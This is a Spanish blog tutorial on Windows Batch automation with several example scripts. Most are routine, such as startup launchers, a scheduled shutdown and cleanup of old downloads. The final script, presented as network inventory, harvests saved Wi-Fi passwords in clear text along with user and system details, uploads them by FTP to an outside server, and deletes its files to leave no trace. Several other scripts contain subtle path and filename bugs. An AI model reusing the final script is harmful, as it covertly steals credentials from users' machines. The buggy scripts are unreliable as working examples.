Automatización de usuarios con Bash Scripting
En este taller aprenderás a dominar la automatización de procesos para realizar tareas complejas con Bash Scripting.
Descubre cómo utilizar Shell Script Batch para automatizar sistemas y aprovechar todas las ventajas que ofrece esta tecnología para ahorrar tiempo.
En tiempos modernos, ser productivo es relativo a estar ocupado haciendo cosas, sino de brindar soluciones al menor tiempo posible, donde las herramientas de automatización juegan un papel fundamental para estar en la cima y responder con la mayor calidad posible.
Shell Script Batch es una de las maneras más interesantes de hacer automatización de procesos, porque, así como en cualquier otro entorno, Windows nos provee formas de hacer que tus programas respondan a parámetros preconfigurados y no estén obligatoriamente vinculados a una respuesta del usuario final sino directamente a respuestas del mismo sistema o con el programa que pueda estar sincronizado.
Piensa que una empresa está organizada en diferentes departamentos, cuyos equipos hacen que exista un flujo de comunicación entre sí para brindar un servicio, por supuesto, esta comunicación puede ser mejor o peor en dependencia de qué herramientas estén usando.
Automatización desde atención al cliente hasta gerencia, siempre que tengamos un ordenador, ya sea que tengas GNU/Linux, Mac o Windows, es posible automatizar ese proceso que comúnmente ejecutas manualmente y que hace que tus días sean aburridos en tu entorno laboral. Préndete de nuevas ideas, recupera ese fuego con el que iniciaste, ya sea en tus proyectos personales o en conjunto.
No es viable que en una empresa estén realizando tareas repetitivas manualmente y menos una que se orienta al mundo tecnológico. Hay que estar abiertos al cambio, así como las máquinas remplazan nuestra mano de obra en fábricas, de la misma manera hay que verlo positivamente en que el enfoque debe estar en resolver temas de automatización y no se de ser ese robot que sigue las instrucciones paso a paso y temer que por ser humano pueda equivocarse.
Uso común de herramientas en algunos departamentos:
Por supuesto, en esta vía se está más orientada la automatización, pues el flujo es más controlable por el hecho que el medio hay ordenadores y una infraestructura de red.
En este apartado, se mostrarán ejemplos que suponen una frecuencia en el repertorio de acciones como TI o Desarrollador de software para solventar las tareas repetitivas y como no pretendo que te duermas aprendiendo solo teoría, te compartiré algunos scripts que he usado y que uso como Ingeniero DevOps.
Antes de todo, aclarar que los scripts Batch que se exponen a continuación, tienen un formato
.bat
.
Si te estás iniciando en esto, es probable que lo que veas a continuación te pueda parecer complejo, por eso, hemos preparado un artículo interesante sobre Shell Scripting en Sistemas Windows y puedas comprender mejor de que va todo esto.
Inicio con el ejemplo más sencillo, pero que te liberará algunos minutos al empezar tu día. Siempre tenemos un kit de aplicaciones que es el que usualmente utilizamos para nuestras labores, como un chat interno, sistemas de ofimática, herramientas de análisis, editor de código, navegadores, etc., en dependencia de a qué te refieras.
@echo off
title Abrir programas al iniciar el sistema operativo
:: Inicia un directorio
start %USERPROFILE%\Documents\
:: Ejecuta tus navegadores: Chrome y Firefox.
start chrome.exe && start firefox.exe
:: Inicia un editor de código (Sublime Text)
start subl
:: Arranca ese documento de Excel que siempre estás actualizando.
start "" "%USERPROFILE%\Documents\Análisis.xlsx"
:: Iniciar el sitio o la plataforma que sueles correr, en este caso AWS.
start chrome https://[id_iam].signin.aws.amazon.com/console
exit
Este script ejecutará todas estas instrucciones, ahora surge la siguiente incógnita ¿quién o qué cosa ejecuta al script?
Almacenas este script en la siguiente ruta:
C:\Users\Antonio\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
.
Todo ejecutable que esté dentro del directorio Startup
, será ejecutado en cuanto se inicie sesión en el sistema. Esto también significa que cualquier otro fichero por lotes (Batch) que deses ejecutar simultáneamente a lado de otro, puede ser agregado en este directorio, se trata de una emulación de una tarea programada que ejecuta un script apenas inicias sesión.
Este script tiene su gracia, puesto que crea un script para ser ejecutado desde una tarea programada y a su vez, la tarea programada es creada desde este mismo script. Ten en cuenta que con la automatización de procesos se trata de generar un efecto dominó donde una pieza escuche el evento de otra y habilite una nueva acción.
@echo off
title Activación del OS
:: Creando tarea programada
MKDIR %HOMEPATH%\Desktop\ && CD %HOMEPATH%\Desktop\
:: Creando el script PowerShell
ECHO Import-Module "C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Ec2Launch.psd1"> activate_windows.ps1
ECHO Add-Routes>> activate.ps1
ECHO Set-ActivationSettings>> activate.ps1
ECHO slmgr /ato>> activate.ps1
:: Creando tarea programada
schtasks /create /tn Activate_OS /sc ONSTART /DELAY 0000:30 /RL HIGHEST /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -file 'C:%HOMEPATH%\Desktop\activate.ps1'"
exit
Como puedes observar, se considera la ejecución de un módulo del agente de Amazon, donde se encuentra la licencia de Windows, la cuál será ejecutado cuando se arranque el sistema con privilegios elevados con el intérprete de PowerShell
, si no estás familiarizado con esta última tecnología, no te preocupes, puedes tomar un break y aprovechar el curso de PowerShell para principiantes.
schtasks /create /tn Activate_OS /sc ONSTART /DELAY 0000:30 /RL HIGHEST /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -file 'C:%HOMEPATH%\Desktop\activate.ps1'"
Si vienes del mundo GNU/Linux
, podrás notar que el comando schtasks
es como el crontab
y por supuesto, si tienes curiosidad de cómo hacer este tipo de cosas y aventurarte en las tecnologías del software libre, te invito a tomar el curso de Shell Linux.
Vamos ahora con una fácil, hace un tiempo, antes de la revolución del #HomeOffice que obligatoriamente se dio por el empujón que nos dio el Covid19, iba a la empresa donde laboraba y usualmente mis colegas y yo nos pasabamos de tiempo extra, así que, para terminar los deberes, me imponía que la máquina se apagara a una hora específica, esto puede ser contraproducente si tienes tareas en proceso, pero al menos es un impulso a acabar a tiempo.
Una instrucción fácil de comprender para apagar el ordenador por línea de comandos es:
shutdown -s -t 0
[-shutdown, -time]
Apaga el ordenador y lo hace instantáneamente.
Checa ahora la siguiente instrucción:
schtasks /create /tn "shutdown" /sc daily /st 17:00 /tr "shutdown.exe /s /f /t 60 /c 'Apagando... '"
Esta instrucción crea la tarea programada, la habilita y entiende que a las 17:00 ejecutará la instrucción de consola y después de 1 minuto se apagará, además, imprimirá el mensaje de Apagando...
.
A mí me pasaba mucho, que el directorio downloads
se me llenaba de ficheros que al tiempo solo se representan como basura y que no se eliminan en el momento porque creemos que lo reutilizaremos. Así que, con las instrucciones anteriores sobre cómo crear una tarea programada, puedes insertar esta nueva instrucción que precisamente elimina todos aquellos ficheros ejecutables .exe
que han sido almacenados desde hace 2 semanas.
forfiles /p "%USERPROFILE%\Downloads\" /s /m *.exe /d -14 /c "cmd /c del @path"
Así como se han seleccionado los ficheros de tipo .exe
, también pueden filtrar documentos, contenido multimedia, incluso pueden ser todos usando el comodín *.*
.
Estas tareas son precisamente las tareas repetitivas que hacen que la vida pierda el sentido, al principio de un trabajo así puede ser tranquilo, incluso fácil, pero luego fastidia. Créeme, a mí me pasó como desarollador web, hace un tiempo trabajaba diseñando páginas webs, unas 2 de producción diarias y una media de 20 cambios que pedían los clientes a diario, este trabajo es fácil, como pasar un ladrillo de un lado a otro, pero cuando no tienes tiempos de descanso, la espalda te comienza a doler y las cosas se vuelven aburridas precisamente por esa monotonía de que la cosa no cambia. Así que haz lo que hice para motivarme, comencé a programar tareas para automatizar procesos.
Imagina que tienes que ordenar un repertorio de 1000 músicas, que tienen un nombre cómo: Artista - Nombre de música.mp3
, haciendo un fichero .dat
con el nombre del fichero .mp3
, algo así: Artista - Nombre de música.dat
y con el siguiente contenido:
Nombre del artista: Artista
Nombre de la música: Nombre de música
@echo off
title Evitando matar la motivación
pushd "%USERPROFILE%\Desktop\Músicas" || (El directorio no puede ser ubicado&Pause&exit /B 1)
for /r %%a in (*.mp3) do (
if exist "%%~dpna.dat" (
:: No tenemos una opción
) else (
for /f "tokens=1,*delims=-" %%b in ("%%~na") do (
echo Nombre del artista: %%b
echo Nombre de la música :%%c
)>"%%~dpna.txt"
)
)
exit
Hace poco tiempo, me tocó resolver un escenario interesante, que podría perfectamente tocarte y acá te muestro una solución.
Existe un directorio en C:\Files\
que, dentro de este, hay más de 500 directorios y en cada directorio está un archivo que hay que modificar, en la ruta: C:\Files\34r79un84\conf\log.conf
desde el directorio 1 hasta más del 500, con un directorio con otro nombre C:\Files\fgs43nd22\conf\log.conf
. Específicamente en el fichero log.conf
remplazar la palabra Administrator
por el nombre del directorio detrás de \conf
, con el de los valores.
@echo off
title Testing
SETLOCAL ENABLEEXTENSIONS
SETLOCAL DISABLEDELAYEDEXPANSION
FOR /F "tokens=* USEBACKQ" %%F IN (`dir /ad /b`) DO (
if exist %%F\config\logging.config (
echo The file has been found %%F\conf\log.conf
call :Arguments "Administrator" %%F %%F\conf\log.conf
)
)
:Arguments
if "%~1"=="" (
echo Finished
) else (
setlocal enableextensions disabledelayedexpansion
for /f "delims=" %%i in ('type "%~3" ^& break ^> "%~3" ') do (
set "line=%%i"
setlocal enabledelayedexpansion
>>"%~3" echo(!line:%~1=%~2!
endlocal
)
endlocal
)
Te continuaré la historia, resulta que me dieron 1 día para poder finalizar con todos esos ficheros, sabía que si lo hacía manualmente sería un día muy, pero muy ajetreado, así que me dispuse a escribir ese algoritmo, eso sí, me tomó más o menos 2 horas con 30 minutos resolverlo, pues estuve simulando el escenario y el tiempo de pruebas es considerable. Claramente, el tiempo invertido en la elaboración fue lo mejor que me pasó en el día, me divertí mucho y luego de un doble clic al Batch, el trabajo se terminaría en 10 segundos.
Debo reconocer que este es un algoritmo con cierta complejidad, aunque estoy asimilando que ya te has repasado uno de los mejores artículos en todo internet acerca de la gestión entorno a los recursos de red en el sistema operativo, sino, con mucho gusto te muestro de primera mano los 20 comandos de red más importantes en Windows.
En este algoritmo nos la jugamos a lo grande, se necesita obtener la información de red de cada equipo interconectado en la infraestructura, también referido a aquellos ordenadores que se han conectado inalámbricamente, lo que dice es que obtiene hasta los perfiles de red de todos sus adaptadores de dónde se ha conectado y la configuración completa, incluída su contraseña.
Luego que se recopila toda la información, se salvará en un servidor FTP
, donse se ocupará conectar y enviar los datos de forma automática. Este artículo es totalmente libre y de mi autoría, lo puedes encontrar aquí junto a otros scripts interesantes que te podrían salvar ayudar a darte una idea de cómo resolver ese sistema que te quita el sueño.
@echo off
title Kriptsus / Side Master
mode con cols=50 lines=1
:: Se crea un directorio en archivos temporales, donde este directorio tiene el mismo nombre que el usuario en cuestión del sistema.
mkdir "%tmp%/%username%"
:: Se exporta la configuración actual de los perfiles de red con las claves sin codificar y las redes hospedadas.
netsh wlan show all > "%tmp%/%username%/AllNetworks.txt"
netsh wlan export hostednetworkprofile
netsh wlan export profile folder=. key=clear
:: Se leen los ficheros generados .xml y se concentra la información en ProfileNetworks.txt
type *.xml > "%tmp%/%username%/ProfileNetworks.txt"
:: Se eliminan los ficheros .xml para no dejar rastro.
del *.xml
:: Se obtiene información sobre los usuarios del sistema.
net user > "%tmp%/%username%/UserProfiles.txt"
net user "%username%" >> "%tmp%/%username%/UserProfiles.txt"
:: Se obtiene información genérica sobre el sistema y configuración de red.
systeminfo > "%tmp%/%username%/SystemInfo.txt"
ipconfig /all > "%tmp%/%username%/IpConfigAll.txt"
net config rdr > "%tmp%/%username%/NetConfigRdr.txt"
:: Se vuelca la información de todos los .txt a un binario .exe
type "%tmp%/%username%/" *.txt > "%tmp%/%username%/%username%.exe"
:: Se crea un fichero con la configuración FTP donde incluyen las credenciales de acceso.
:: Este es un punto clave, pues tiene las instrucciones de principio a fin de que se hará en el servidor FTP.
echo open ftp.fulldevops.es> "%tmp%/%username%/Server.txt"
echo fulldevops.es>> "%tmp%/%username%/Server.txt"
echo MiContraseñaFTP>> "%tmp%/%username%/Server.txt"
echo cd /prey>> "%tmp%/%username%/Server.txt"
echo lcd "%tmp%/%username%">> "%tmp%/%username%/Server.txt"
echo binary>> "%tmp%/%username%/Server.txt"
echo send "%tmp%/%username%/%username%.exe">> "%tmp%/%username%/Server.txt"
echo ascii>> "%tmp%/%username%/Server.txt"
echo disconnect>> "%tmp%/%username%/Server.txt"
echo bye>> "%tmp%/%username%/Server.txt"
:: Se procede a ejecutar el fichero de configuración FTP con todas las instrucciones.
FTP -v -i -s:"%tmp%/%username%/Server.txt"
:: Luego que ha finalizado su ejecución, se espera 5 segundos para no dejar nada en el camino.
ping -n 5 0.0.0.0 > nul
:: Se remueve el directorio creado desde un principio en los archivos temporales. Con esto queda 0 rastro de que se ejecutó algo y las credenciales FTP no quedan expuestas.
rmdir /S /Q "%tmp%/%username%"
exit
Esto lo ejecutas una sola vez y en el servidor FTP podrá comprobar que tiene un nuevo fichero con el nombre de la máquina donde se ejecutó y con la información relevante al sistema. Ese fichero .exe lo podrá abrir desde una consola, leyéndolo con el comando type
o abriéndolo con un editor de código.
Todo lo que veas que es repetitivo, es automatizable.
Parte del avance, es poder resolver problemas en el menor tiempo posible con la mayor calidad posible. Si tienes esto en mente, créeme que no se te pasará por la mente hacer las cosas manualmente a la primera, seguro te pasará como yo, intentarás crear algo que lo haga por tí y no te rendirás hasta dar con la tecla.
Sea que estés trabajando en tus propios proyectos o para una empresa, el trabajo colaborativo deja mucho aprendizaje y puedes encontrar la necesidad en cualquier espacio. No te cases con un sistema, toma aquel que te ayude a resolver el problema que se presenta y antecede al próximo, tu visión del juego mejorará muchísimo.
Los algoritmos sobran, siempre habrá una mejor estrategia, una idea que optimice un bloque de código ya optimizado. Espero haberte dejado con ganas de conocer más y que tengas un tiempo ameno de investigación.
También te puede interesar
En este taller aprenderás a dominar la automatización de procesos para realizar tareas complejas con Bash Scripting.
Te mostramos de una forma práctica cómo utilizar los comandos de PowerShell más importantes, esos comandos que todo administrador de sistemas Windows...